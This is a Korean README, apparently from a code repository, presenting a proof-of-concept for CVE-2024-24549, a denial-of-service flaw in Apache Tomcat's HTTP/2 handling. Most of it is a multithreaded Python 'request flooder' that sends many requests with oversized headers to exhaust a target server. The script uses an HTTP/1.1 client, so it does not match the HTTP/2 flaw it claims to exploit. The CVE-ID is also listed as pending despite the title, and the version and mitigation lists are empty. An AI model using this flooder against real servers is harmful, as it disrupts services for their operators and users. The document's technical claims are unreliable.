
CVE-2024-24549에 대한 개념 증명 익스플로잇, Apache Tomcat의 HTTP/2 헤더 오버플로우를 통한 서비스 거부 취약점입니다. 테스트 및 자원 고갈을 위한 Python 스크립트를 포함합니다.
이 저장소는 Apache Tomcat의 서비스 거부(DoS) 취약점을 시연하는 개념 증명(PoC) 스크립트를 포함합니다. 이 취약점은 HTTP/2 요청의 부적절한 입력 검증으로 인해 발생하며, 잠재적인 DoS 상태를 초래합니다.
CVE-ID: (보류 중)
개요: Apache Tomcat 버전 11.0.0-M1 ~ 11.0.0-M16, 10.1.0-M1 ~ 10.1.18, 9.0.0-M1 ~ 9.0.85 및 8.5.0 ~ 8.5.98은 서비스 거부 공격에 취약합니다. 이 문제는 구성된 제한을 초과하는 헤더가 있는 HTTP/2 요청을 처리할 때 발생합니다. 모든 헤더가 처리될 때까지 HTTP/2 스트림이 재설정되지 않아 잠재적으로 리소스가 고갈될 수 있습니다.
영향받는 버전:
완화 조치:
이 PoC 스크립트는 구성된 헤더 제한을 초과하는 HTTP/2 요청을 전송하여 DoS 취약점을 악용하는 방법을 보여줍니다. 이 스크립트는 대량의 요청을 전송하여 서버의 리소스를 소진시킵니다.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host를 대상 서버 주소로, port를 적절한 포트(일반적으로 HTTPS의 경우 443)로 설정합니다. num_requests를 조정하여 전송할 요청 수를 제어합니다.이 취약점을 완화하려면:
Apache Tomcat 설치 보안에 대한 자세한 내용은 공식 Apache Tomcat 문서를 참조하세요.
이 README.md는 취약점 개요, PoC 스크립트 및 완화 지침을 제공합니다. 이 PoC를 책임감 있게 처리하고 명시적 승인을 받은 시스템에서만 사용하세요.